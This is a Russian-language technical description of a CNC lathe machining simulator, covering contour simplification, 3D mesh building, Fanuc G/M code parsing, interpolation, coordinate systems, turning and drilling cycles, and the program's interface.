В рассматриваемом проекте применяется альтернативный метод устранения артефактов формообразующего контура, основанный на алгоритме генерализации Рамера-Дугласа-Пекера [4, 5], широко применяемом в задачах топографии и картографии. Основной целью рекурсивной процедуры генерализации является сокращение числа вершин ломаной линии на основе заданного порогового значения расстояния между вершинами. Начальным условием работы алгоритма является выбор наиболее удаленной точки по отношению к начальной точке ломаной линии контура. В последующих итерациях алгоритма определяются расстояния между промежуточными точками ломаной линии и сравниваются с пороговым значением. Соединение точек в аппроксимирующую полилинию осуществляется при условии превышения расстояния между ними над заданным пороговым значением (рис. 6).
**Рисунок 6** – Итерации алгоритма генерализации Рамера-Дугласа-Пекера на примере произвольной ломаной линии
Технически процедура аппроксимации формообразующего контура детали объединена с начальным этапом общего алгоритма моделирования, на котором происходит формирование множества вершин исходного контура обрабатываемой детали.
Формирование трёхмерной поверхности моделируемой детали осуществляется путём расчёта координат точек в окружностях поперечных сечений детали по длине формообразующего контура с последующим объединением данных точек в треугольные фасеты (между сечениями). Длина радиус-вектора Ri каждой точки формообразующего контура вычисляется как расстояние от данной точки до главной оси станка (рис. 7).
**Рисунок 7** – Полигональная модель детали типа тела вращения в разрезе (разбиение полигонов на треугольные фасеты не показано)
Порядок обхода вершин при сборке трёхмерного каркаса строго определён. Каждый полигон трёхмерной поверхности разбивается на 2 треугольных фасета, объединяющих 4 вершины (рис. 8). Радиальная гладкость образуемой трёхмерной поверхности зависит от заданного количества сегментов (секторов круга) в сечении моделируемой детали. В процедуре сборки трёхмерного каркаса также рассчитываются векторы нормалей в каждой вершине (рис. 9) и текстурные координаты UV. По рассчитанным текстурным координатам поверхность детали прорисовывается с наложенным изображением текстуры металла, что в свою очередь повышает реалистичность восприятия моделируемого процесса.
Таким образом, окончательная трёхмерная модель обрабатываемой детали позволяет визуализировать результаты удаления материала резцом в динамике реального времени с требуемой степенью реалистичности.
**Рисунок 8** – Фасеточный каркас трёхмерной модели обрабатываемой детали, вписанный в габаритный цилиндр исходной заготовки
**Рисунок 9** – Векторы нормалей в вершинах фасеточной модели обрабатываемой детали
Принципы имитационного моделирования числового программного управления процессом токарной обработки материала
-------------------------------------------------------------------------------------------------------------
### Перечень основных функций программного управления станком
В качестве лингвистической основы для программирования основных технологических операций при токарной обработке материала выбраны G-M коды системы числового программного управления Fanuc:
**G00/G01** – линейная интерполяция на ускоренной/рабочей подаче;
**G02/G03** – круговая интерполяция по/против часовой стрелки;
**G04** – выдержка времени;
**G20/G21** – ввод данных в дюймах/миллиметрах;
**G32/G34** – нарезание резьбы с постоянным/переменным шагом за один проход;
**G50** – установка максимальной частоты вращения шпинделя;
**G53–G59** – переключение между рабочими системами координат №1–6;
**G70–G76** – основные токарные циклы;
**G80–G83** – циклы обработки отверстий;
**G90** – цикл основной токарной обработки наружного/внутреннего диаметра;
**G92** – цикл нарезания резьбы с постоянным шагом;
**G94** – цикл основного наружного/внутреннего торцевого точения;
**G96/G97** – постоянная скорость резания/вращения шпинделя;
**G98/G99** – скорость подачи [мм/мин]/скорость подачи [мм/об];
**M00/M01** – программный останов с подтверждением;
**M02/M30** – завершение управляющей программы;
**M03/M04** – запуск вращения шпинделя по/против часовой стрелки;
**M05** – остановка вращения шпинделя;
**M07–M09** – включение/выключение подачи СОЖ;
**M38/M39** – открытие/закрытие автоматических дверей;
**M97–M99** – вызов и завершение внутренних/внешних подпрограмм.
### Структура и формат кода управляющих программ
Код управляющей программы представляется в виде последовательности строк (кадров). Симулятор позволяет разрабатывать и выполнять управляющие программы объёмом до 999 кадров (с учетом первой нередактируемой строки, содержащей номер управляющей программы). Каждый кадр состоит из последовательности слов, представляющих собой сочетание буквенного адреса и числового параметра. Между адресом и параметром не допускаются пробелы. Набор текста управляющей программы осуществляется буквенными латинскими и цифровыми символами с использованием моноширинного шрифта. Допускается использование некоторых специальных символов. Любая группа символов, не подлежащая синтаксическому анализу, должна быть заключена в круглые скобки либо записана после символов «;» или «/». Данная информация считается комментарием к коду и не анализируется в процессе симуляции. Адреса подготовительных (G) и вспомогательных (M) функций программируются с целочисленными параметрами, определяющими номера данных функций. Числовые параметры позиционирования (после адресов X, Z, U, W, I, K, R и др.) могут задаваться дробными или целыми значениями. Здесь допускается использование знака «минус».
После запуска процесса симуляции производится автоматическая проверка кода управляющей программы на соответствие формату. В случае обнаружения ошибок на экран выводятся соответствующие сообщения.
### Краткое описание алгоритма парсинга управляющих программ
Синтаксический анализ (парсинг) кода управляющей программы (УП) и симуляция его выполнения осуществляются по стандартному алгоритму [6], блок-схема которого представлена на рисунке 10.
**Рисунок 10** – Блок-схема алгоритма парсинга УП
В соответствии с приведённой на рисунке 10 блок-схемой парсинг управляющей программы начинается с формирования списка кадров. Для каждого кадра формируется список слов. Слово представляет собой структуру данных – команду, включающую буквенный адрес и числовой параметр. Команды условно классифицируются как модальные и позиционные.
Модальные команды изменяют статус имитационной модели станка, и определяют её текущее состояние – режим перемещения инструмента (перемещение на ускоренной или рабочей подаче, тип интерполяции), режим вращения шпинделя, положение автоматических дверей, состояние системы охлаждения и т.д. В свою очередь, позиционные команды определяют непосредственно параметры перемещений – координаты конечных точек, параметры дуг при круговой интерполяции и т.д.
По полученным параметрам движения осуществляется интерполяция координат режущего инструмента, углов поворота вращающихся элементов станка, положения автоматических дверей и др. Таким образом, происходит покадровая симуляция управляющей программы. При достижении последнего кадра процесс симуляции завершается.
### Реализация управления перемещениями токарного инструмента
По аналогии с реальной системой ЧПУ перемещение режущего инструмента программируется методами линейной и круговой интерполяции. Линейная интерполяция является основным видом движения при обработке на токарном станке с ЧПУ. При линейной интерполяции инструмент перемещается по прямой траектории с известными координатами её начала и конца (рис. 11).
**Рисунок 11** – Траектория движения инструмента при линейной интерполяции
При движении расчётной точки C из точки A в точку B по прямолинейному участку с постоянной скоростью подачи обе координаты интерполируются линейно по времени. Обозначив время начала перемещения как tA, а конечное время – tB, текущие координаты точки C, соответствующие текущему моменту времени tC, можно определить по формулам линейной интерполяции:
Конечное время перемещения определяется как:
где tS – время, затраченное на прямолинейное перемещение при постоянной скорости подачи F (мм/мин):
Линейная интерполяция на ускоренной подаче программируется модальной функцией G00 (данная функция активна в исходном состоянии системы ЧПУ). Линейная интерполяция на рабочей подаче программируется модальной функцией G01. После данных функций задаются координаты конечной точки прямолинейного участка пути. За исходную точку всегда принимается текущее положение инструмента. Заданная скорость рабочей подачи при ускоренном перемещении игнорируется. Координаты конечной точки могут задаваться в абсолютных значениях (X, Z), то есть относительно нуля рабочей системы координат, либо в относительных (инкрементальных) значениях (U, W), то есть относительно исходной точки прямолинейной траектории. Если одна из координат опущена, перемещение по соответствующей ей оси не осуществляется.
Круговая интерполяция применяется для вытачивания криволинейных поверхностей, форма которых описывается дугой окружности определённого радиуса. Применяются два метода программирования дуги. Первый метод заключается в задании координат центра дуги и конечной точки, при этом радиус дуги вычисляется автоматически. Второй метод предполагает указание радиуса дуги и координат конечной точки, при этом координаты центра дуги вычисляются автоматически. Круговая интерполяция по часовой стрелке задается с помощью функции G02, а круговая интерполяция против часовой стрелки – функцией G03, соответственно.
Рассмотрим один из случаев круговой интерполяции против часовой стрелки с указанием центра дуги (рис. 12.а). При движении расчетной точки C из точки A в точку B по дуге с постоянной скоростью подачи обе координаты также можно интерполировать по времени. Траектория движения задается положением конечной точки B и положением центра дуги O в инкрементальных координатах (i, k) относительно исходной точки A.
Угловое положение радиус-векторов OA, OB и OC описывается тригонометрическими углами φA, φB и φC, соответственно.
**Рисунок 12** – Траектория движения инструмента при круговой интерполяции против часовой стрелки с заданием: центра дуги (а); радиуса окружности дуги (б)
Обозначив время начала перемещения как tA, а конечное время – tB, угол φC, соответствующий текущему моменту времени tC, можно определить по формуле линейной интерполяции:
где φA, φB – тригонометрические углы радиус-векторов начальной и конечной точек дуги:
Примечание: при расчёте тригонометрических углов крайних точек дуги необходимо учитывать ситуации, при которых функция арктангенса принимает сингулярные значения.
Декартовые координаты точки C определяются как:
где
Конечное время перемещения определяется по выражению (6). При этом время tS, затраченное на перемещение по дуге при постоянной скорости подачи F (мм/мин), можно определить, используя выражение длины дуги:
Инкрементальные координаты центра дуги программируются адресами I и K в направлениях осей X и Z, соответственно. При программировании круговой интерполяции с указанием центра дуги необходимо, чтобы радиус-векторы начальной и конечной точек дуги имели одинаковую длину.
Круговая интерполяция всегда выполняется на рабочей подаче.
Второй метод программирования дуги – указание радиуса окружности дуги. При этом допускается два случая задания радиуса – с положительным или отрицательным значением. Если значение радиуса положительно, угол дуги составляет менее 180 градусов. В противном случае угол дуги составляет более 180 градусов (рис. 12.б). При задании дуги радиусом система ЧПУ автоматически определяет положение центра дуги (O+ или O– в зависимости от знака радиуса). В данном методе задания дуги должно соблюдаться условие: модуль радиуса не может быть меньше половины длины хорды (AB) дуги.
На рисунке 13 показан пример образования криволинейной поверхности при программировании круговой интерполяции против часовой стрелки.
**Рисунок 13** – Образование криволинейной поверхности при программировании круговой интерполяции против часовой стрелки
### Реализация функций работы с системами координат
Представленная имитационная модель включает несколько систем координат (рис. 14). Главной и неизменной системой координат является система координат станка с началом, соответствующим точке машинного нуля M, геометрически совпадающей с точкой пересечения торцевой плоскости шпинделя и оси его вращения.
**Рисунок 14** – Основные системы координат имитационной модели
Второй немаловажной системой координат является референтная система координат с началом, соответствующим референтной точке R или точке смены инструмента. В данной системе координат рассчитываются основные перемещения подвижных узлов станка, и определяются столкновения инструмента с конструктивными элементами станка при моделировании возможных аварийных ситуаций.
Программирование процесса токарной обработки осуществляется в рабочей системе координат. В симуляторе предусмотрено 6 независимых рабочих систем координат с нулевыми точками W1–6. Начальные настройки положения данных нулей задаются пользователем в параметрах имитационной модели и обозначаются как нулевые корректоры.
Направления осей в каждой системе координат одинаковы. Продольная ось Z всегда направлена от токарного патрона в сторону задней бабки станка. Поперечная ось X (или ось диаметров) направлена в сторону суппорта (на себя при фронтальном ракурсе на станок). Ось Y является нормалью рабочей плоскости ZX обработки и направлена вертикально вверх. Перемещения в направлении оси Y в рассматриваемой модели станка не осуществляются.
Переключение между рабочими системами координат осуществляется программно с помощью соответствующих функций G54–G59 (для систем координат с нулевыми точками W1–W6, соответственно). Координаты нулевых точек W1–6 рассчитываются в системе координат станка относительно машинного нуля M. Синтаксис функций G54–G59 предполагает два возможных варианта их использования. В первом варианте функции задаются без указания координат X и Z. При этом положение выбранной рабочей системы координат определяется по предварительно заданным нулевым корректорам. В данном случае функции G54–G59 могут программироваться отдельно в индивидуальном кадре либо в одном кадре с другими командами. Второй вариант использования функций G54–G59 предполагает программное смещение осей выбранной рабочей системы координат относительно предварительно заданного нуля W1. В данном случае смещения осей по X и Z программируются сразу после функции в этом же кадре (например, «G54 X30.5 Z15»). На рисунке 15 показано положение первого начала координат после программного смещения осей в точку [X=10, Z=–20] относительно исходного положения нуля W1, заданного в блоке настройки нулевых корректоров.
**Рисунок 15** – Иллюстрация программного смещения осей рабочей системы координат №1
Программирование относительно нуля станка осуществляется посредством функции G53. Данная функция не является модальной, и выполняется в том кадре, в котором она запрограммирована. Функция временно отменяет действие модальных функций G54-G59. При этом все перемещения отсчитываются в системе координат станка с началом в точке M, а активный нулевой корректор временно отменяется. Функция G53 должна программироваться каждый раз, когда необходимо указать координаты, относящиеся к машинному нулю. Синтаксис функции не предполагает наличия параметров после слова G53. Функция программируется в любом кадре, который имеет команды управления пути (например, «G53 G00 X0 Z120»). На рисунке 16 показано положение начала рабочей системы координат во время действия функции G53.
**Рисунок 16** – Иллюстрация положения начала рабочей системы координат во время действия функции G53
### Реализация основных токарных циклов и циклов обработки отверстий
Реализованный алгоритм парсинга управляющих программ позволяет моделировать выполнение токарных и сверлильных циклов системы Fanuc. При выполнении каждого цикла в памяти вычислительного устройства создаётся так называемый буферный список кадров, включающий промежуточные перемещения инструмента при получении запрограммированного контура детали. Токарные циклы задаются одним или двумя последовательными инициирующими кадрами, в которых прописываются основные параметры цикла – черновые и чистовые припуски, глубина резания при черновых проходах резцом, количество черновых проходов резцом, величина отвода резца, параметры режима обработки и т.д. Контур детали программируется последовательностью кадров с обязательной нумерацией первого и последнего кадра.
Цикл снятия припуска параллельно оси Z инициируется функцией G71. Параметры цикла программируются двумя последовательными кадрами в формате:
`G71 U_ R_
G71 P_ Q_ U_ W_ F_ S_`
где в первом кадре: U – глубина обработки для черновых проходов (режим программирования в радиусах), R – расстояние отвода резца после окончания каждого прохода; во втором кадре: P – порядковый номер первого кадра описания обрабатываемого контура; Q – порядковый номер последнего кадра описания обрабатываемого контура, U – величина и направление снятия чистового припуска по оси X (режим программирования в диаметрах), W – величина и направление снятия чистового припуска по оси Z, F – скорость подачи при черновых проходах резцом, S – частота вращения шпинделя или скорость резания при чистовой обработке.
На рисунке 17 показаны траектории движения резца при выполнении токарного цикла G71. Зелеными линиями изображены перемещения резца на рабочей подаче, фиолетовыми линиями – на ускоренной подаче. Как видно из рисунка, обрабатываемый контур может включать криволинейные участки, запрограммированные методом круговой интерполяции.
**Рисунок 17** – Траектории движения режущего инструмента при выполнении токарного цикла G71 и фрагмент кода управляющей программы
Цикл снятия припуска параллельно оси X инициируется функцией G72. Принцип программирования данного цикла аналогичен циклу G71. Выполнение черновых проходов резцом осуществляется в направлении оси X рабочей системы координат. Параметры цикла программируются двумя последовательными кадрами в формате:
`G72 W_ R_
G72 P_ Q_ U_ W_ F_ S_`
где в первом кадре: W – глубина обработки для черновых проходов, R – расстояние отвода резца после окончания каждого прохода; во втором кадре: P – порядковый номер первого кадра описания обрабатываемого контура, Q – порядковый номер последнего кадра описания обрабатываемого контура, U – величина и направление снятия чистового припуска по оси X (режим программирования в диаметрах), W – величина и направление снятия чистового припуска по оси Z, F – скорость подачи при черновых проходах резцом, S – частота вращения шпинделя или скорость резания при чистовой обработке.
На рисунке 18 показаны траектории движения резца при выполнении токарного цикла G72.
**Рисунок 18** – Траектории движения режущего инструмента при выполнении токарного цикла G72 и фрагмент кода управляющей программы
Цикл снятия припуска параллельно заданному контуру инициируется функцией G73. Параметры цикла программируются двумя последовательными кадрами в формате:
`G73 U_ W_ R_
G73 P_ Q_ U_ W_ F_ S_`
где в первом кадре: U – величина и направление снятия суммарного припуска по оси X (режим программирования в радиусах), W – величина и направление снятия суммарного припуска по оси Z, R – количество последовательных проходов при снятии чернового припуска, включая получистовой проход; во втором кадре: P – порядковый номер первого кадра описания обрабатываемого контура; Q – порядковый номер последнего кадра описания обрабатываемого контура; U – величина и направление снятия чистового припуска по оси X (режим программирования в диаметрах), W – величина и направление снятия чистового припуска по оси Z, F – скорость подачи при черновых проходах резцом, S – частота вращения шпинделя или скорость резания при чистовой обработке.
На рисунке 19 показаны траектории движения резца при выполнении токарного цикла G73.
**Рисунок 19** – Траектории движения режущего инструмента при выполнении токарного цикла G73 и фрагмент кода управляющей программы
Цикл снятия чистового припуска инициируется функцией G70. Параметры цикла программируются одним кадром в формате:
`G70 P_ Q_ F_ S_`
где P – порядковый номер первого кадра описания обрабатываемого контура, Q – порядковый номер последнего кадра описания обрабатываемого контура, F – скорость подачи при чистовой обработке, S – частота вращения шпинделя или скорость резания при чистовой обработке.
Цикл чистовой контурной обработки G70 дополняет циклы G71, G72 и G73. Он позволяет произвести чистовую обработку контура, после применения циклов черновой токарной обработки. Использование цикла G70 в качестве самостоятельного цикла – нецелесообразно.
Программирование обработки наружных/внутренних и торцевых канавок осуществляется с помощью специальных циклов G74 и G75.
Цикл проточки торцевых канавок/сверления с отскоком инициируется функцией G74. Параметры цикла программируются двумя последовательными кадрами в формате:
`G74 R_
G74 X(U)_ Z(W)_ P_ Q_ F_`
где в первом кадре: R – расстояние, на которое отводится режущий инструмент после завершения шага проточки; во втором кадре: X(U) – координата конечной точки по оси X, Z(W) – координата конечной точки по оси Z, P – шаг проточки по оси X в микронах, Q – шаг проточки по оси Z в микронах, F – скорость подачи.
На рисунке 20 показаны траектории движения резца при выполнении цикла проточки торцевых канавок G74. При выполнении данного цикла инструмент после каждого рабочего прохода отводится на заданную величину отскока с целью удаления стружки из обрабатываемой канавки. Цикл G74 также может использоваться при программировании операции сверления торцевых отверстий.
**Рисунок 20** – Траектории движения режущего инструмента при выполнении цикла проточки торцевых канавок G74 и фрагмент кода управляющей программы
Цикл проточки наружных/внутренних канавок с отскоком инициируется функцией G75. Принцип использования цикла G75 аналогичен циклу G74. Проточка канавки осуществляется в направлении оси X. Устанавливаемая величина шага проточки по оси Z позволяет осуществлять обработку канавок с перекрытием. После каждого рабочего прохода инструмент отводится на заданную величину отскока. Параметры цикла программируются двумя последовательными кадрами в формате:
`G75 R_
G75 X(U)_ Z(W)_ P_ Q_ F_`
где в первом кадре: R – расстояние, на которое отводится инструмент после завершения шага проточки; во втором кадре: X(U) – координата конечной точки по оси X, Z(W) – координата конечной точки по оси Z, P – шаг проточки по оси X в микронах, Q – шаг проточки по оси Z в микронах, F – скорость подачи.
На рисунке 21 показаны траектории движения резца при выполнении цикла проточки наружной канавки G75.
**Рисунок 21** – Траектории движения режущего инструмента при выполнении цикла проточки наружных/внутренних канавок G75 и фрагмент кода управляющей программы
Для обработки резьбовых соединений реализован цикл многопроходного нарезания резьбы, инициируемый функцией G76. Параметры цикла программируются двумя последовательными кадрами в формате:
`G76 Pxxyyzz Q_ R_
G76 X(U)_ Z(W)_ R_ P_ Q_ F_`
где в первом кадре: xx – двузначное число винтовых проходов резьбонарезным резцом; yy – двузначное число, определяющее размер фаски, zz – двузначное число, определяющее угол режущей кромки режущего инструмента, Q – минимальная глубина нарезания резьбы в микронах (режим программирования в радиусах), R – глубина нарезания при чистовом проходе; во втором кадре: X(U) – координата конечной точки нарезания резьбы по оси X, Z(W) – координата конечной точки нарезания резьбы по оси Z, R – величина перемещения по оси X при нарезании конической резьбы (не программируется при нарезании цилиндрической резьбы), P – высота резьбы в микронах, Q – глубина нарезания резьбы для первого прохода в микронах, F – шаг резьбы по оси Z.
На рисунке 22 показаны траектории движения резца при выполнении цикла многопроходного нарезания цилиндрической резьбы G76. Голубыми линиями изображены перемещения резьбонарезного резца на рабочей подаче.
**Рисунок 22** – Траектории движения режущего инструмента при выполнении цикла многопроходного нарезания цилиндрической резьбы G76 и фрагмент кода управляющей программы
Цикл G76 также позволяет программировать обработку конических резьб (рис. 23).
**Рисунок 23** – Траектории движения режущего инструмента при выполнении цикла многопроходного нарезания конической резьбы G76 и фрагмент кода управляющей программы
При программировании обработки резьбовых соединений возможно применение альтернативного цикла нарезания резьбы с постоянным шагом, инициируемого функцией G92. Параметры цикла программируются одним кадром в формате:
`G92 X(U)_ Z(W)_ R_ F_`
где X(U) – координата конечной точки нарезания резьбы по оси X, Z(W) – координата конечной точки нарезания резьбы по оси Z, R – величина перемещения по оси X при нарезании конической резьбы (не программируется при нарезании цилиндрической резьбы), F – шаг резьбы по оси Z.
Каждый рабочий проход резьбонарезным резцом программируется отдельным кадром, идущим в общей последовательности кадров после кадра инициализации цикла G92. При этом задается только координата X, то есть значение диаметра, на котором находится расчётная точка резца на текущем рабочем проходе.
На рисунке 24 показаны траектории движения резца при выполнении цикла нарезания внутренней конической резьбы с постоянным шагом G92.
**Рисунок 24** – Траектории движения режущего инструмента при выполнении цикла нарезания резьбы с постоянным шагом G92 и фрагмент кода управляющей программы
Для программирования проточки длинных цилиндрических или конических участков детали применяется цикл основной токарной обработки наружного/внутреннего диаметра, инициируемый функцией G90. Структура цикла аналогична резьбонарезному циклу G92. Перед началом цикла резец выводится в стартовую точку. Параметры цикла программируются одним кадром в формате:
`G90 X(U)_ Z(W)_ R_ F_`
где X(U) – координата конечной точки по оси X, Z(W) – координата конечной точки по оси Z, R – изменение радиуса основания конуса, F – скорость подачи.
Каждый рабочий проход резцом программируется отдельным кадром, идущим в общей последовательности кадров после кадра инициализации цикла G90. При этом может задаваться только координата X, то есть значение диаметра, на котором находится расчётная точка резца на текущем рабочем проходе. Также в кадрах описания рабочих проходов может быть задана и координата Z в случае, если необходимо обработать ступенчатый участок детали. На рисунке 25 показаны траектории движения резца при выполнении цикла основной токарной обработки наружного/внутреннего диаметра G90.
**Рисунок 25** – Траектории движения режущего инструмента при выполнении цикла основной токарной обработки наружного/внутреннего диаметра G90 и фрагмент кода управляющей программы
Обработка торцевых поверхностей деталей может программироваться с помощью цикла основного наружного/внутреннего торцевого точения, инициируемого функцией G94. Параметры цикла программируются одним кадром в формате:
`G94 X(U)_ Z(W)_ R_ F_`
где X(U) – координата конечной точки по оси X, Z(W) – координата конечной точки по оси Z, R – изменение радиуса основания конуса, F – скорость подачи.
По аналогии с циклом G90 рабочие проходы резцом программируются отдельными кадрами после кадра инициализации цикла G94. При этом для каждого прохода могут задаваться координаты Z и/или X, а также параметр R, определяющий изменение радиуса основания конуса. На рисунке 26 показаны траектории движения резца при выполнении цикла основного наружного/внутреннего торцевого точения G94.
**Рисунок 26** – Траектории движения режущего инструмента при выполнении цикла основного наружного/внутреннего торцевого точения G94 и фрагмент кода управляющей программы
Имитационная модель также позволяет осуществлять программирование операций сверления торцевых отверстий с применением постоянных циклов: простого однопроходного сверления, однопроходного сверления с выдержкой на дне отверстия и многопроходного (прерывистого) сверления (рис. 27).
Цикл простого однопроходного сверления инициируется функцией G81, и имеет формат кадра:
`G81 X(U)_ Z(W)_ R_ F_`
где X(U) – координата конечной точки по оси X, Z(W) – координата конечной точки по оси Z, R – абсолютная координата плоскости отвода инструмента по оси Z, F – скорость подачи.
Цикл однопроходного сверления с выдержкой на дне отверстия инициируется функцией G82, и имеет формат кадра:
`G82 X(U)_ Z(W)_ R_ P_ F_`
где X(U) – координата конечной точки по оси X, Z(W) – координата конечной точки по оси Z, R – абсолютная координата плоскости отвода инструмента по оси Z, P – время выдержки на дне отверстия в миллисекундах, F – скорость подачи.
Цикл прерывистого сверления инициируется функцией G83, и имеет формат кадра:
`G83 X(U)_ Z(W)_ R_ P_ Q_ F_`
где X(U) – координата конечной точки по оси X, Z(W) – координата конечной точки по оси Z, R – абсолютная координата плоскости отвода инструмента по оси Z, P – время выдержки на дне отверстия в миллисекундах, Q – шаг сверления по оси Z в микронах, F – скорость подачи.
Отмена постоянного цикла обработки отверстий осуществляется функцией G80.
**Рисунок 27** – Траектории движения сверла при выполнении цикла прерывистого сверления G83 и фрагмент кода управляющей программы
### Реализация общих функций числового программного управления
Запуск вращения шпинделя по часовой стрелке осуществляется модальной функцией M03, а против часовой стрелки – функцией M04, соответственно. Остановка вращения шпинделя осуществляется с помощью функции M05. Функции M03–M04 дают команду на начало вращения шпинделя, но не определяют параметры скорости вращения. С этой целью используется функция главного движения S с указанием частоты вращения (или скорости резания). При этом частота вращения шпинделя задается адресом S, после которого указывается число оборотов в минуту (если активна модальная функция G97). В том случае, если обработка происходит при постоянной скорости резания (активна модальная функция G96), число, следующее за адресом S обозначает скорость резания в м/мин. При этом фактическая частота вращения шпинделя определяется расчётом исходя из выражения:
где V – заданная скорость резания м/мин, d – текущий диаметр обработки, м, π=3,14159.
Перемещение суппортов станка осуществляется на рабочей и ускоренной подачах. Обработка материала резанием осуществляется на рабочей подаче. Величина рабочей подачи задаётся функцией подачи F двумя способами. С помощью модальной функции G98 устанавливается режим, при котором величина подачи задается в мм/мин. Второй режим программирования величины подачи осуществляется с помощью модальной функции G99. При этом величина подачи задается в мм/об. Функция G99 активна в исходном состоянии системы ЧПУ. При нарезании резьбы адресом F программируется постоянный шаг резьбы или начальный шаг в случае резьбы с изменяемым (увеличивающимся или уменьшающимся) шагом.
Функция инструмента T используется для выбора и переключения положения револьверной головки, оснащённой режущим инструментом. Функция программируется в формате «T0A0B», где A – номер целевой позиции револьверной головки, B – номер корректора на радиус инструмента. В процессе переключения положения револьверной головки инструмент возвращается в референтную точку, где осуществляется поворот инструментального диска револьверной головки по кратчайшему расстоянию.
В имитационной модели реализована возможность использования внутренних и внешних подпрограмм. Внутренние подпрограммы размещаются в коде основной программы после функций завершения программы M02 или M30. Вызов внутренней подпрограммы осуществляется функцией M97 в формате:
`M97 P_ L_`
где P – номер кадра начала внутренней подпрограммы, L – количество вызовов внутренней подпрограммы.
Внешние подпрограммы представляют собой автономные тексты с собственными заголовками и нумерацией кадров. Имитационная модель поддерживает работу с пятью внешними управляющими программами в одной сессии. Вызов внешних подпрограмм осуществляется функцией M98 в формате:
`M98 Pxxyyyy`
где xx – количество вызовов внешней подпрограммы; yyyy – номер внешней подпрограммы (например, 0005).
Завершение работы внутренних и внешних подпрограмм с последующим возвратом в основную программу осуществляется с помощью функции M99.
К прочим вспомогательным функциям системы ЧПУ можно отнести: функции остановки выполнения управляющей программы M00/M01, функции завершения управляющей программы M02/M30, функции включения/выключения подачи смазочно-охлаждающей жидкости (СОЖ) M07/M08/M09 и функции открытия/закрытия автоматических дверей M38/M39. Данные функции могут программироваться как в отдельных кадрах, так и в совокупности с другими командами. После выполнения функций M02 и M30 процесс симуляции завершается – инструмент отводится в точку реферирования, вращение шпинделя останавливается, периферийные устройства отключаются.
Описание симулятора токарной обработки на станке с ЧПУ
------------------------------------------------------
### Общее описание программного продукта
Симулятор токарной обработки на станке с ЧПУ реализован в форме мультиплатформенного графического [приложения](https://www.sunspire.ru/products/cnc-simulator/). Тип целевого вычислительного устройства и поддерживаемая платформа: IBM–совместимый персональный компьютер под управлением операционных систем Microsoft Windows и Linux, персональный компьютер Apple Macintosh под управлением операционной системы MacOS, мобильные устройства на базе операционных систем Android и iOS. Дополнительно выполнение программы возможно в среде веб-браузера с поддержкой технологии HTML5 и аппаратной поддержкой 3D графики (технология WebGL). Графическая составляющая программного обеспечения использует компонентную базу OpenGL 2.0. Графический интерфейс пользователя программы реализован на русском и английском языках.
Минимальные системные требования к вычислительному устройству:
* тактовая частота центрального процессора: 1,6 ГГц;
* объем оперативной памяти: 1 Гб;
* объем видеопамяти: 512 Мб;
* разрешение экрана: 1024×768 (для настольных компьютеров);
* поддержка OpenGL версии 2.0;
* стандартная клавиатура и компьютерная мышь с колесом прокрутки (для настольных компьютеров);
* средства воспроизведения звука (динамики, аудиоколонки или наушники).
При работе с веб-версиями приложения рекомендуется использовать веб-браузер MicrosoftEdge, входящий в состав операционной системы Windows 10.
### Формат пользовательских данных
В процессе инсталляции программного продукта в стандартном каталоге «Документы» операционной системы создается корневой каталог проектов симулятора, включающий ряд подкаталогов с примерами управляющих программ. К примеру, в операционной системе Microsoft Windows 10 каталог «Документы» расположен по адресу: «C:\Пользователи\Текущий пользователь\Документы». Создание, переименование и удаление файлов и подкаталогов следует осуществлять с помощью стандартного файлового менеджера операционной системы.
Файлы проектов симулятора имеют расширение «\*.csdata». В целях оптимизации осуществляется байтовый ввод-вывод данных, поэтому открытие файла проекта во внешнем текстовом редакторе невозможно. Байтовая структура файла представлена в таблице 3.
### Структура графического интерфейса пользователя
Симулятор выполняется в полноэкранном графическом режиме. Размеры структурных элементов графического интерфейса адаптивно меняются в зависимости от формата (соотношения сторон) экрана. Таким образом, выполнение программы возможно на экранах с различным соотношением сторон, как приближенным к 1,0 (разрешения 1024x768, 1280x1024 и др.), так и к 2,0 (разрешения 1920x1080, 2160x1080 и др.).
Взаимодействие с элементами графического интерфейса осуществляется с помощью стандартной компьютерной мыши (при работе на настольном компьютере) или путём сенсорного взаимодействия с экраном (при работе на интерактивной доске, планшетном компьютере или смартфоне).
Главный экран программы представлен трёхмерной сценой, основным объектом которой является графическая полигональная модель токарного станка, размещённая в условном пространственном окружении (рис. 28).
**Рисунок 28** – Вид главного экрана программы
На протяжении всего сеанса работы с программой в правой части экрана отображается панель навигации. Первая (сверху вниз) кнопка панели предназначена для вызова диалога завершения программы. Диалоговый экран завершения работы программы выводит предупредительную информацию о возможной потере данных, если текущий проект не был сохранён в файл. Закрытие диалогового экрана также осуществляется повторным нажатием на соответствующую кнопку навигационной панели. Вторая кнопка панели навигации вызывает диалоговый экран встроенного менеджера файлов (рис. 29). Элементами данного диалогового экрана являются три вертикально расположенных кнопки: «Новый проект», «Открыть проект» и «Сохранить проект». Первая (сверху вниз) функциональная кнопка осуществляет сброс всех параметров текущего проекта к значениям по умолчанию. Данное действие сопровождается дополнительным диалогом подтверждения. Вторая кнопка выводит на экран элементы файловой системы в наиболее традиционном представлении (рис. 30).
**Рисунок 29** – Диалоговый экран встроенного менеджера файлов
В левой части диалогового экрана открытия файла представлен список каталогов. Корневой каталог создается в системе при инсталляции программы. Доступ к каталогам, расположенным выше корневого по иерархии, посредством встроенного менеджера файлов не осуществляется.
**Рисунок 30** – Диалоговый экран открытия файла проекта
В правой части диалогового экрана открытия файла представлен список файлов текущего активного каталога. Файлы отфильтрованы по расширению, соответствующему типу файлов программы (файлы, имеющие иное расширение, в списке не отображаются).
Навигация в структуре каталогов осуществляется путем одинарного клика мышью (или одинарного нажатия на сенсорный экран) по названию каталога в списке. Возврат на верхний иерархический уровень осуществляется кликом по верхней пустой строке с соответствующей пиктограммой (рис. 31).
**Рисунок 31** – Изображение строки возврата на верхний уровень каталогов
Выбор файла осуществляется аналогичным одинарным кликом по названию файла в правом списке. При этом название выбранного файла отображается ярким зеленым цветом (рис. 32).
**Рисунок 32** – Выделение названия цветом при выборе файла
Списки каталогов и файлов оснащены вертикальной и горизонтальной полосами прокрутки, позволяющими вмещать любое количество элементов списка в поле фиксированных размеров.
Третья кнопка диалогового экрана менеджера файлов отображает диалоговый экран сохранения файла, аналогичный диалогу открытия, но при этом оснащённый текстовым полем ввода названия файла (рис. 33).
**Рисунок 33** – Диалоговый экран сохранения файла проекта
